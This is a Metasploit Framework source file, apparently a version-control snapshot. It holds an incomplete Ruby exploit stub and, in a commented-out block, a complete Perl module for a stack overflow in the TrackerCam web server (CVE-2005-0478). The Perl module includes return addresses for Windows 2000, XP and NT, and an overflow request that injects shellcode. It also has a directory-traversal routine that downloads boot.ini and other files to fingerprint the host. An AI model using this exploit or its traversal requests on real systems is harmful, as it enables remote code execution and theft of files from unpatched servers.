HD Moore
c22ba98ad6
git-svn-id: file:///home/svn/incoming/trunk@3110 4d416f70-5f16-0410-b530-b9f4589650da
301 lines
7.1 KiB
Ruby
301 lines
7.1 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TrackerCam PHP Argument Buffer Overflow',
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'Description' => %q{
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This module exploits a simple stack overflow in the
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TrackerCam web server. All current versions of this software
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are vulnerable to a large number of security issues. This
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module abuses the directory traversal flaw to gain
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information about the system and then uses the PHP overflow
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to execute arbitrary code.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '13953'],
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[ 'OSVDB', '13955'],
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[ 'CVE', '2005-0478'],
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[ 'BID', '12592'],
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[ 'URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
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[ 'MIL', '69'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'win32',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Feb 18 2005',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::trackercam_phparg_overflow;
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use base "Msf::Exploit";
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use strict;
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use Pex::Text;
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my $advanced = { };
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my $info =
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{
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'Name' => 'TrackerCam PHP Argument Buffer Overflow',
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'Version' => '$Revision$',
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'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32'],
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'Priv' => 1,
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'AutoOpts' => { 'EXITFUNC' => 'thread' },
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 8090],
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},
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
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'Keys' => ['+ws2ord'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This module exploits a simple stack overflow in the TrackerCam web
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server. All current versions of this software are vulnerable to a large
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number of security issues. This module abuses the directory traversal
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flaw to gain information about the system and then uses the PHP overflow
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to execute arbitrary code.
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}),
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'Refs' =>
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[
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['OSVDB', '13953'],
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['OSVDB', '13955'],
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['CVE', '2005-0478'],
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['BID', '12592'],
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['URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
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['MIL', '69'],
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],
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'Targets' =>
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[
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# EyeWD.exe has a null and we can not use a partial overwrite.
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# All of the loaded application DLLs have a null in the address...
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# Except CPS.dl, which moves around between instances.
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# Windows XP SP2 and Windows 2003 are not supported yet :-/
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['Windows 2000 English', 0x75022ac4 ], # ws2help.dll
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['Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll
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['Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll
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],
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'Keys' => ['trackercam'],
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'DisclosureDate' => 'Feb 18 2005',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Check {
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my $self = shift;
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my $s = $self->Connect;
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return $self->CheckCode('Connect');
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}
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$self->PrintLine("[*] Querying the remote web server...");
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my $path = "/tuner/ComGetLogFile.php3?fn=../HTTPRoot/socket.php3";
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my $req = "GET $path HTTP/1.0\r\n\r\n";
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$s->Send($req);
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my $res = $s->Recv(-1, 5);
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$s->Close;
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if ($res =~ /fsockopen/) {
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$self->PrintLine("[*] Vulnerable TrackerCam instance discovered");
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$self->Fingerprint();
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return $self->CheckCode('Confirmed');
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}
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$self->PrintLine("[*] This TrackerCam service appears to be patched");
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return $self->CheckCode('Safe');
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}
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sub Exploit {
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my $self = shift;
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
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my $s = $self->Connect;
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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my $bang = Pex::Text::EnglishText(8192);
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# Simple as pie.
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substr($bang, 257, 4, pack('V', $target->[1]));
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substr($bang, 253, 2, "\xeb\x06");
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substr($bang, 261, length($shellcode), $shellcode);
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my $data = "GET /tuner/TunerGuide.php3?userID=$bang HTTP/1.0\r\n\r\n";
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$self->PrintLine("[*] Sending " .length($data) . " bytes to remote host.");
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$s->Send($data);
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$s->Recv(-1, 5);
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return;
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}
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# Uses the directory traversal vulnerability to detect the remote OS version
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sub Fingerprint {
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my $self = shift;
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my $data = $self->DownloadFile('nobody.txt');
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if (! $data ) {
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$self->PrintLine("[*] Download failed for remote test file");
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return;
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}
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my ($path) = $data =~ m/in <b>(.*)<\/b> on line/smi;
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$self->PrintLine("[*] Install path: $path") if $path;
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if (uc(substr($path, 0, 1)) ne 'C') {
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$self->PrintLine("[*] TrackerCam is probably not installed on the system drive");
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}
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if ($data !~ /Program Files/) {
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$self->PrintLine("[*] TrackerCam is installed in a non-standard location");
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}
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$data = $self->DownloadFile('boot.ini');
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if (! $data ) {
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$self->PrintLine("[*] Download failed for remote boot.ini file");
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return;
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}
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# Windows XP SP2
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if ($data =~ /Windows XP.*NoExecute/i) {
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$self->PrintLine("[*] Detected Windows XP SP2");
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return 'WinXPSP2';
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}
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if ($data =~ /Windows XP/) {
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$self->PrintLine("[*] Detected Windows XP SP0-SP1");
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return 'WinXPSP01';
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}
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if ($data =~ /Windows.*2003/) {
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$self->PrintLine("[*] Detected Windows 2003 Server");
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return 'Win2003';
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}
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if ($data =~ /Windows.*2000/) {
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$self->PrintLine("[*] Detected Windows 2000");
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return 'Win2000';
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}
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$self->PrintLine("[*] Could not identify this system");
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return;
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}
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sub DownloadFile {
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my $self = shift;
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my $file = shift;
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my $s = $self->Connect;
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return if $s->IsError;
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my $path = "/tuner/ComGetLogFile.php3?fn=../../../../../../../../../$file";
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my $req = "GET $path HTTP/1.0\r\n\r\n";
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$s->Send($req);
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my $res = $s->Recv(8192, 5);
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$s->Close;
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return if ($res !~ /tuner\.css/ || $res !~ /\<pre\>/ );
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my ($data) = $res =~ m/<pre>(.*)/smi;
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$data =~ s/<\/pre><\/body>.*//g if $data;
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return $res if ! $data;
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return $data;
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}
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sub Connect {
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my $self = shift;
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $self->GetVar('RHOST'),
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'PeerPort' => $self->GetVar('RPORT'),
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'SSL' => $self->GetVar('SSL'),
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'LocalPort' => $self->GetVar('CPORT'),
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);
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return $s;
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}
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1;
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=end
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end
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end
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